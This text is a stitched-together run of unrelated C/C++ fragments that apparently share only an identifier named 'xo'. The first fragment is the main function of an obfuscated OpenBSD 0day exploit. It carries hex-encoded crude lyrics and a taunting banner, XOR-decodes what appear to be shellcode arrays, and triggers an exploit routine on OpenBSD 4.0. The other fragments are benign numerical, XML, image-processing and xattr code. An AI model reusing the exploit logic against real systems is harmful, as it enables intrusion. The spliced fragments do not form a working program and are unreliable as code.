*/__ ma(__ a,_c **g){_c *theosmovie[]={"\x53\x75\x63\x6b\x69\x6e\x67"/**//**//**/ "\x20\x6f\x6e\x20\x6d\x79\x20\x74\x69\x74\x74\x69\x65\x73\x20\x6c\x69\x6b\x65\x20" "\x79\x6f\x75\x20\x77\x61\x6e\x74\x65\x64\x20\x6d\x65\x20\x20\x20\x20\x20\x20\x20" "\x20\x20\x20\x20","\x43\x61\x6c\x6c\x69\x6e\x67\x20\x6d\x65\x2c\x20\x61\x6c\x6c" "\x20\x74\x68\x65\x20\x74\x69\x6d\x65\x20\x6c\x69\x6b\x65\x20\x42\x6c\x6f\x6e\x64" "\x69\x65\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20","\x43\x68\x65" "\x63\x6b\x20\x6f\x75\x74\x20\x6d\x79\x20\x63\x68\x72\x69\x73\x73\x79\x20\x62\x65" "\x68\x69\x6e\x64\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" "\x20\x20\x20\x20\x20\x20\x20\x20","\x49\x74\x27\x73\x20\x66\x69\x6e\x65\x20\x61" "\x6c\x6c\x20\x6f\x66\x20\x74\x68\x65\x20\x74\x69\x6d\x65\x20\x20\x20\x20\x20\x20" "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" ,"\x4c\x69\x6b\x65\x20\x73\x65\x78\x20\x6f\x6e\x20\x74\x68\x65\x20\x62\x65\x61\x63" "\x68\x65\x73\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20","\x57\x68\x61\x74\x20\x65\x6c\x73" "\x65\x20\x69\x73\x20\x69\x6e\x20\x74\x68\x65\x20\x74\x65\x61\x63\x68\x65\x73\x20" "\x6f\x66\x20\x70\x65\x61\x63\x68\x65\x73\x3f\x20\x48\x75\x68\x3f\x20\x57\x68\x61" "\x74\x3f\x20","\x48\x75\x68\x3f\x20\x52\x69\x67\x68\x74\x2e\x20\x57\x68\x61\x74" "\x3f\x20\x55\x68\x68\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20","\x48\x75\x68\x3f" "\x20\x52\x69\x67\x68\x74\x2e\x20\x57\x68\x61\x74\x3f\x20\x55\x68\x68\x3f\x20\x20" "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" "\x20\x20\x20\x20\x20\x20\x20","\x53\x49\x53\x20\x49\x55\x44\x2c\x20\x73\x74\x61" "\x79\x20\x69\x6e\x20\x73\x63\x68\x6f\x6f\x6c\x20\x27\x63\x61\x75\x73\x65\x20\x69" "\x74\x27\x73\x20\x74\x68\x65\x20\x62\x65\x73\x74\x20\x20\x20\x20\x20\x20\x20", "\x49\x55\x44\x20\x53\x49\x53\x2c\x20\x73\x74\x61\x79\x20\x69\x6e\x20\x73\x63\x68" "\x6f\x6f\x6c\x20\x27\x63\x61\x75\x73\x65\x20\x69\x74\x27\x73\x20\x74\x68\x65\x20" "\x62\x65\x73\x74\x20\x20\x20\x20\x20\x20\x20","\x53\x49\x53\x20\x49\x55\x44\x2c" "\x20\x73\x74\x61\x79\x20\x69\x6e\x20\x73\x63\x68\x6f\x6f\x6c\x20\x27\x63\x61\x75" "\x73\x65\x20\x69\x74\x27\x73\x20\x74\x68\x65\x20\x62\x65\x73\x74\x20\x20\x20\x20" "\x20\x20\x20","F**k the pain away? F**k the pain away!\x20\x20\x20\x20\x20\x20" "\x20\x20\x20\x20\x20\x20","F**k the pain away! F**k the pain away?\x20\x20\x20" "\x20\x20\x20\x20\x20\x20\x20\x20\x20","F**k the 0day away. F**k the pain away!" "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20","F**k the pain away! F**k the" " pain away?\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20","F**k the 0day aw" "ay? F**k the pain away!\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"};____( "\033[2J\x20\x20\x5f\x5f\x5f\x20\x20\x20\x20\x20\x20\x20\x4f\x70\x65\x6e\x42\x53" "\x44\x20\x4d\x6f\x76\x69\x65\x20\x62\x79\x20\x54\x68\x65\x6f\x20\x64\x65\x20\x52" "\x61\x61\x64\x74\x0a\x20\x2f\x2f\x20\x20\x37\x20\x20\x20\x20\x20\x20\x53\x74\x61" "\x72\x72\x69\x6e\x67\x2e\x2e\x2e\x0a\x28\x5f\x2c\x5f\x2f\x5c\x20\x20\x20\x20\x20" "\x20\x20\x20\x20\x20\x20\x20\x20\x2e\x2e\x2e\x68\x69\x6d\x73\x65\x6c\x66\x21\x0a" "\x20\x5c\x20\x20\x20\x20\x5c\x0a\x20\x20\x5c\x20\x20\x20\x20\x5c\x20\x20\x20\x20" "\x20\x42\x72\x6f\x75\x67\x68\x74\x20\x74\x6f\x20\x79\x6f\x75\x20\x62\x79\x2e\x2e" "\x2e\x0a\x20\x20\x5f\x5c\x20\x20\x20\x20\x5c\x5f\x5f\x0a\x20\x28\x20\x20\x5c\x20" "\x20\x20\x20\x20\x20\x29\x20\x20\x20\x20\x20\x54\x68\x65\x6f\x27\x73\x20\x6c\x6f" "\x73\x74\x20\x44\x41\x52\x50\x41\x20\x66\x75\x6e\x64\x69\x6e\x67\x0a\x20\x20\x5c" "\x5f\x5f\x5f\x5c\x5f\x5f\x5f\x2f\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x26" "\x20\x50\x65\x61\x63\x68\x65\x73\x2e\x0a\x0a");/* F**k the 0day away. */ if(a<2 ){uss();}obsdv=vobsd();pg(80,theosmovie,_____(theosmovie)/_____(_c *),1);xo(shl, _____(shl),shl[_____(shl)]);xo(shlr,_____(shlr),0xd1);xo(tks,_____(tks),0x41);xo( gde,_____(gde), 0x2f);if(obsdv==4.0&&!strcmp(g[1],"vga")){evi();} /*That's it.*/___ 0;}/*Easy to fingerprint, eh?*/
Py::Object Transformation::seq_x_y(const Py::Tuple & args) { _VERBOSE("Transformation::seq_x_y"); args.verify_length(2); Py::SeqBase<Py::Object> x = args[0]; Py::SeqBase<Py::Object> y = args[1]; size_t Nx = x.length(); size_t Ny = y.length(); if (Nx!=Ny) throw Py::ValueError("x and y must be equal length sequences"); // evaluate the lazy objects if (!_frozen) eval_scalars(); Py::Tuple xo(Nx); Py::Tuple yo(Nx); for (size_t i=0; i< Nx; ++i) { double thisx = Py::Float(x[i]); double thisy = Py::Float(y[i]); this->operator()(thisx, thisy); xo[i] = Py::Float( xy.first ); yo[i] = Py::Float( xy.second ); } Py::Tuple ret(2); ret[0] = xo; ret[1] = yo; return ret; }
void XmlWriter::WriteNode(const XmlReader& r) { while (true) { switch (r.NodeType()) { case XmlNodeType::None: if (!r.Read()) return; break; case XmlNodeType::Element: { bool bEmpty = r.IsEmptyElement(); string name = r.Name(); cerr << "ElemName=" << name << endl; XmlOut xo((*this), name); bool bHasAttribs = false; /*!!! while (r.MoveToNextAttribute()) { cerr << "AttrName=" << r.Name() << endl; xo[r.Name()] = r.Value(); bHasAttribs = true; }*/ if (bEmpty) r.Skip(); else { //!!! r.MoveToElement(); cerr << "NodeType=" << r.NodeType() << r.Name() << endl; r.ReadStartElement(); //!!! /* if (bHasAttribs) r.Read(); else r.ReadStartElement(); //!!! */ WriteNode(r); r.ReadEndElement(); } } break; case XmlNodeType::Text: WriteString(r.ReadString()); break; case XmlNodeType::SignificantWhitespace: r.Read(); break; case XmlNodeType::CDATA: WriteCData(r.ReadString()); break; case XmlNodeType::EndElement: return; default: throw logic_error("not implemented"); //!!! } } }
int main(int argc, char *argv[]) { struct option longopts[] = { { "help", no_argument, NULL, 'h' }, { "version", no_argument, NULL, 'V' }, // { "long", no_argument, NULL, 'l' }, // { "delete", required_argument, NULL, 'd' }, // { "print", required_argument, NULL, 'p' }, // { "dump", required_argument, NULL, 'o' }, // { "write", required_argument, NULL, 'w' }, // { "follow-symlinks", no_argument, NULL, 'L' }, // { "create", no_argument, NULL, 'C' }, // { "replace", no_argument, NULL, 'R' }, // { "nosecurity", no_argument, NULL, 'S' }, // 10.6 only? // { "nodefault", no_argument, NULL, 'D' }, // 10.6 only? // { "show-compression", no_argument, NULL, 'Z' }, // 10.6 only? // { "cols", required_argument, NULL, 'c' }, { NULL, 0, NULL, 0 } }; int c; char *attr = NULL; char *value = NULL; // todo: -s <> and -S options to get XA sizes? // todo: -w <> -f <> ? // todo: -e attr exists? while ((c = getopt_long(argc, argv, "hV" "ld:o:p:w:" "c:x" "LCRSDZ", longopts, NULL)) != EOF) { switch (c) { case 'l': case 'o': case 'p': case 'd': case 'w': if (action != '\0') { warnx("You may not specify more than one `-dopw' option"); fprintf(stderr, "Try `%s --help' for more information.\n", argv[0]); return 2; } else { action = c; if (action != 'l') { size_t l = strlen(optarg) + 1; attr = xmalloc(l); memcpy(attr, optarg, l); if ((action == 'w') && (optind < argc)) { char *val = argv[optind]; optind += 1; l = strlen(val) + 1; value = xmalloc(l); memcpy(value, val, l); } } } break; case 'L': options ^= XATTR_NOFOLLOW; break; case 'C': options ^= XATTR_CREATE; break; case 'R': options ^= XATTR_REPLACE; break; case 'S': options ^= XATTR_NOSECURITY; break; case 'D': options ^= XATTR_NODEFAULT; break; case 'Z': options ^= XATTR_SHOWCOMPRESSION; break; case 'x': hex ^= 1; break; case 'c': { unsigned long acols = strtoul(optarg, NULL, 0); if (acols > 0 && errno == 0) gCols = acols; else err(1, NULL); } break; case 'h': printf("usage: %s [<action>] [<options>] <file>...\n" "ACTIONS\n" " (default)\t" "List names of xattrs\n" " -p <name>\t" "Print data for given xattr\n" " -d <name>\t" "Delete given xattr\n" " -w <name> <value>\t" "Write xattr\n" "OPTIONS\n" " -L\t" "Follow symlinks.\n" " -C\t" "Fail if xattr exists (create)\n" " -R\t" "Fail if xattr doesn't exist (replace)\n" " -D\t" "Bypass the default extended attribute file (dot-underscore file)\n" " -Z\t" "Show HFS compression attributes\n" , argv[0]); return 0; case 'V': PRINT_VERSION; return 0; // case '?': default: // fprintf(stderr, "Usage: %s [-LRC] ACTION [ARG] <file>...\n", argv[0]); goto bad_cmd; } } if ((argc -= optind) == 0) { warnx("No files to act on"); bad_cmd: fprintf(stderr, "Try `%s --help' for more information.\n", argv[0]); return 2; } argv += optind; switch (action) { case '\0': if (argc == 1) x(argv[0]); else { printf("%s:\n", argv[0]); x(argv[0]); argv += 1; do { printf("\n%s:\n", argv[0]); x(argv[0]); } while (++argv, --argc); } break; case 'o': if (strcmp("-", attr) != 0) { if (argc == 1) xo(argv[0], attr); else { printf("%s:\n", argv[0]); xo(argv[0], attr); argv += 1; argc -= 1; do { printf("\n%s:\n", argv[0]); xo(argv[0], attr); } while (++argv, --argc); } } else { size_t n; char **list = readList(&n); // check goto oloopInit; oloop: putchar('\n'); oloopInit: printf("%s:\n", argv[0]); for (size_t i = 0; i < n; i++) { printf("%s:\n", list[i]); xo(argv[0], list[i]); } argv += 1; argc -= 1; if (argc) goto oloop; // fixme: ? leaking each list item free(list); } break; case 'p': if (strcmp("-", attr) != 0) { if (argc == 1) xp(argv[0], attr); else { printf("%s:\n", argv[0]); xp(argv[0], attr); argv += 1; argc -= 1; do { printf("\n%s:\n", argv[0]); xp(argv[0], attr); } while (++argv, --argc); } } else { size_t n; char **list = readList(&n); // check goto ploopInit; ploop: putchar('\n'); ploopInit: printf("%s:\n", argv[0]); for (size_t i = 0; i < n; i++) { printf("%s:\n", list[i]); xp(argv[0], list[i]); } argv += 1; argc -= 1; if (argc) goto ploop; // fixme: ? leaking each list item free(list); } break; case 'l': if (argc == 1) xP(argv[0]); else { printf("%s:\n", argv[0]); xP(argv[0]); argv += 1; argc -= 1; do { printf("\n%s:\n", argv[0]); xP(argv[0]); } while (++argv, --argc); } break; case 'w': { // write xattr // Read data from stdin // 4096 bytes is max size for all xattrs except resource fork size_t totalSize; if (value == NULL) { value = malloc(4096); size_t lastReadSize = 0; unsigned int n = 0; // Accumulate data into buffer, expanding as needed while (value && (lastReadSize = fread(value + (n*4096), 1, 4096, stdin)) == 4096) value = realloc(value, (++n + 1)*4096); if (value == NULL) err(1, NULL); totalSize = (n*4096)+lastReadSize; } else { totalSize = strlen(value); } do { if (setxattr(argv[0], attr, value, totalSize, 0, options) != 0) warn("%s", argv[0]); } while (++argv, --argc); free(value); } break; case 'd': // delete xattrs if (strcmp("-", attr) != 0) { do { xd(argv[0], attr); } while (++argv, --argc); } else { size_t n; char **list = readList(&n); // check do { for (size_t i = 0; i < n; i++) xd(argv[0], list[i]); } while (++argv, --argc); // fixme: ? leaking each list item free(list); } break; } free(attr); return (errno != 0); }
int main() { std::cout << xo("xoxo") << std::endl; return 0; }
gaussian_model EMclustering::maximization(MatrixXf x, MatrixXf r) { int d = x.rows(); int n = x.cols(); int k = r.cols(); //cerr<<x<<endl; VectorXf nk(r.rows()); nk = r.colwise().sum(); VectorXf w(nk.size()); w = nk/n; MatrixXf tmp1(x.rows(),r.cols()); tmp1 = x * r; VectorXf tmp2(nk.size()); tmp2 = nk.array().inverse(); //cerr<<tmp2<<endl<<endl; MatrixXf mu(x.rows(),r.cols()); mu = tmp1 * tmp2.asDiagonal() ; MatrixXf *sigma = new MatrixXf[k]; for(int i=0;i<k;i++) sigma[i].setZero(d,d); MatrixXf sqrtr(r.rows(),r.cols()); sqrtr = r.cwiseSqrt(); MatrixXf xo(d,n); MatrixXf tmp3(d,d); tmp3.setIdentity(d,d); for(int i=0;i<k;i++) { xo = x.colwise() - mu.col(i); VectorXf tmp4(sqrtr.rows()); tmp4 = sqrtr.col(i); tmp4 = tmp4.adjoint(); xo = xo* tmp4.asDiagonal(); sigma[i] = xo*xo.adjoint()/nk(i); sigma[i] = sigma[i] + tmp3*1e-6; //cerr<<sigma[i]<<endl<<endl; } gaussian_model model; model.mu = mu; model.sigma = new MatrixXf[k]; for(int i=0;i<k;i++) model.sigma[i] = sigma[i]; model.weight = w; nk.resize(0); w.resize(0); tmp1.resize(0,0); tmp2.resize(0); tmp3.resize(0,0); mu.resize(0,0); for(int i=0;i<k;i++) sigma[i].resize(0,0); delete [] sigma; sqrtr.resize(0,0); xo.resize(0,0); tmp3.resize(0,0); //cerr<<"---"<<endl; model.weight = model.weight.adjoint(); //cerr<<model.weight<<endl<<endl; //cerr<<model.mu<<endl<<endl; //for(int i=0;i<k;i++) //{ // cerr<<model.sigma[i]<<endl<<endl; //} return model; }
extern "C" void glm_gibbs(double * rZ, double * rxo, double * rlam, int * rmodelprior, double * rpriorprob, double * rbeta1, double * rbeta2, int * rburnin, int * rniter, int * rscalemixture, double * ralpha, int * rno, int * rna, int * rp, double * B_mcmc, double * prob_mcmc, int * gamma_mcmc, double * phi_mcmc, double * lam_mcmc, double * B_rb, double * prob_rb, double * intercept_mcmc, double * xo_scale) { GetRNGstate(); //MCMC Variables// int burnin=*rburnin; int niter=*rniter; //Dimensions// int p=*rp; int no=*rno; int na=*rna; //Phi Variables// double phi=1.0; //Yo Variables// std::vector<double> Z(rZ, rZ+no); std::vector<double> xo(rxo, rxo+no*p); standardize_xo(xo,xo_scale,no,p); std::vector<double> xoyo(p); double yobar=0; std::vector<double> xoxo(p*p); dgemm_( &transT, &transN, &p, &p, &no, &unity, &*xo.begin(), &no, &*xo.begin(), &no, &inputscale0, &*xoxo.begin(), &p ); //Construct Xa// std::vector<double> xa(p*(p+1)/2); //Triangular Packed Storage std::vector<double> d(p); chol_xa(xa,xoxo,d,p); //Reserve Memory for Submatrices// std::vector<double> xog; xog.reserve(no*p); std::vector<double> xogyo; xogyo.reserve(p); std::vector<double> xogxog_Lamg; xogxog_Lamg.reserve(p*p); std::vector<double> xag; xag.reserve(na*p); //Ya Variables// std::vector<double> xaya(p); //Beta Variables// double intercept=0; std::vector<double> Bols(p); std::vector<double> B(p,0.0); std::vector<double> Bg; Bg.reserve(p); //Lambda Variables// int scalemixture=*rscalemixture; double alpha=*ralpha; std::vector<double> lam(rlam,rlam+p); std::vector<double> lamg; lamg.reserve(p); //vector instead of diagonal pxp matrix //Gamma Variables// std::vector<int> gamma(p,1); int p_gamma=std::accumulate(gamma.begin(),gamma.end(),0); bool gamma_diff=true; int modelprior=*rmodelprior; //Probability Variables// std::vector<double> prob(p); std::vector<double> odds(p); std::vector<double> priorprob(rpriorprob,rpriorprob+p); //Theta Variables// double theta=0.5; double beta1=*rbeta1; double beta2=*rbeta2; //Store Initial Values// std::copy(B.begin(),B.end(),B_mcmc); std::copy(prob.begin(),prob.end(),prob_mcmc); std::copy(gamma.begin(),gamma.end(),gamma_mcmc); std::copy(lam.begin(),lam.end(),lam_mcmc); //Run Gibbs Sampler// for (int t = 1; t < niter; ++t) { //Form Submatrices// if(p_gamma) submatrices_uncollapsed(gamma_diff,B,xog,xag,lamg,Bg,gamma,lam,xo,xa,p_gamma,p,no,na); //Draw xoyo// draw_xoyo(Z,xoyo,yobar,xo,xog,Bg,phi,no,p,p_gamma,intercept); //Draw xaya// draw_uncollapsed_xaya(xaya,xa,xag,Bg,phi,na,p,p_gamma); //Compute Probabilities// if(modelprior==1) { bernoulli_probabilities(prob,odds,Bols,d,xoyo,xaya,priorprob,lam,phi); }else if(modelprior==2) { betabinomial_probabilities(prob,odds,Bols,d,xoyo,xaya,theta,lam,phi); }else { uniform_probabilities(prob,odds,Bols,d,xoyo,xaya,lam,phi); } //Draw Gamma// draw_gamma(gamma,p_gamma,prob); //Draw Theta// if(modelprior==2) theta=Rf_rbeta(beta1+p_gamma,p-p_gamma+beta2); //Draw Beta// draw_beta(gamma,B,Bols,d,lam,phi); //Draw Intercept// intercept=yobar+sqrt(1/(no*phi))*Rf_rnorm(0,1); //Draw Lambda// if(scalemixture) draw_lambda_t(lam,gamma,alpha,B,phi); //Store Draws// intercept_mcmc[t]=intercept; std::copy(gamma.begin(),gamma.end(),(gamma_mcmc+p*t)); std::copy(prob.begin(),prob.end(),(prob_mcmc+p*t)); std::copy(B.begin(),B.end(),(B_mcmc+p*t)); std::copy(lam.begin(),lam.end(),(lam_mcmc+p*t)); //Rao Blackwell// if(t>=burnin) rao_blackwell(B_rb,prob_rb,B,prob,burnin,niter); //Has Gamma Changed?// gamma_diff=gamma_change(gamma_mcmc,t,p); } PutRNGstate(); }
void FnirtFileWriter::common_field_construction(const string& fname, const volume<float>& ref, const volume<float>& fieldx, const volume<float>& fieldy, const volume<float>& fieldz, const Matrix& aff) { volume4D<float> fields(ref.xsize(),ref.ysize(),ref.zsize(),3); fields.copyproperties(ref); Matrix M; bool add_affine = false; if (add_affine = ((aff-IdentityMatrix(4)).MaximumAbsoluteValue() > 1e-6)) { // Add affine part to fields M = (aff.i() - IdentityMatrix(4))*ref.sampling_mat(); } if (samesize(ref,fieldx,true)) { // If ref is same size as the original field fields[0] = fieldx; fields[1] = fieldy; fields[2] = fieldz; fields.copyproperties(ref); // Put qform/sform and stuff back. if (add_affine) { ColumnVector xv(4), xo(4); int zs = ref.zsize(), ys = ref.ysize(), xs = ref.xsize(); xv(4) = 1.0; for (int z=0; z<zs; z++) { xv(3) = double(z); for (int y=0; y<ys; y++) { xv(2) = double(y); for (int x=0; x<xs; x++) { xv(1) = double(x); xo = M*xv; fields(x,y,z,0) += xo(1); fields(x,y,z,1) += xo(2); fields(x,y,z,2) += xo(3); } } } } } else { fieldx.setextrapolationmethod(extraslice); fieldy.setextrapolationmethod(extraslice); fieldz.setextrapolationmethod(extraslice); Matrix R2F = fieldx.sampling_mat().i() * ref.sampling_mat(); ColumnVector xv(4), xo(4), xr(4); int zs = ref.zsize(), ys = ref.ysize(), xs = ref.xsize(); xv(4) = 1.0; for (int z=0; z<zs; z++) { xv(3) = double(z); for (int y=0; y<ys; y++) { xv(2) = double(y); for (int x=0; x<xs; x++) { xv(1) = double(x); xr = R2F*xv; fields(x,y,z,0) = fieldx.interpolate(xr(1),xr(2),xr(3)); fields(x,y,z,1) = fieldy.interpolate(xr(1),xr(2),xr(3)); fields(x,y,z,2) = fieldz.interpolate(xr(1),xr(2),xr(3)); if (add_affine) { xo = M*xv; fields(x,y,z,0) += xo(1); fields(x,y,z,1) += xo(2); fields(x,y,z,2) += xo(3); } } } } } fields.set_intent(FSL_FNIRT_DISPLACEMENT_FIELD,fields.intent_param(0),fields.intent_param(1),fields.intent_param(2)); fields.setDisplayMaximum(0.0); fields.setDisplayMinimum(0.0); // Save resulting field save_volume4D(fields,fname); }
void distanceTransform::eightSEDFiltering(channel &chnl, matrix<point> &dist)const{ //create all masks point mask0[] = { point(-1, 0) }; sedMask xo(mask0, 1); point mask1[] = { point(-1,-1), point(0,-1), point(1,-1), point(-1, 0) }; sedMask xxxxo(mask1, 4); point mask2[] = { point(-1, -1), point(0, -1), point(-1, 0) }; sedMask xxxo(mask2, 3); point mask3[] = { point(0, -1), point(1, -1) }; sedMask xxo(mask3, 2); point mask4[] = { point(1, 0) }; sedMask ox(mask4, 1); point mask5[] = { point(1, 0), point(-1, 1), point(0, 1), point(1, 1) }; sedMask oxxxx(mask5, 4); point mask6[] = { point(1, 0), point(0, 1), point(1, 1) }; sedMask oxxx(mask6, 3); point mask7[] = { point(-1, 1), point(0, 1) }; sedMask oxx(mask7, 2); //filter the picture point pos; pos.y = 0; //first row for(pos.x = 1; pos.x < chnl.columns(); ++pos.x) xo.filter(dist, pos); for(pos.x = chnl.columns() - 2; pos.x >= 0; --pos.x) ox.filter(dist, pos); for(pos.y = 1; pos.y < chnl.rows(); ++pos.y){ pos.x = 0; //step up xxo.filter(dist, pos); for(pos.x = 1; pos.x < chnl.columns() - 1; ++pos.x) xxxxo.filter(dist, pos); xxxo.filter(dist, pos); for(pos.x = chnl.columns() - 2; pos.x >= 0; --pos.x) ox.filter(dist, pos); } //and now filter the picture in the opposite direction pos.y = chnl.rows() - 1; //last row for(pos.x = chnl.columns() - 2; pos.x >= 0; --pos.x) ox.filter(dist, pos); for(pos.x = 1; pos.x < chnl.columns(); ++pos.x) xo.filter(dist, pos); for(pos.y = chnl.rows() - 2; pos.y >= 0; --pos.y){ pos.x = chnl.columns() - 1; //step down oxx.filter(dist, pos); for(pos.x = chnl.columns() - 2; pos.x > 0; --pos.x) oxxxx.filter(dist, pos); oxxx.filter(dist, pos); for(pos.x = 1; pos.x < chnl.columns() - 1; ++pos.x) xo.filter(dist, pos); } }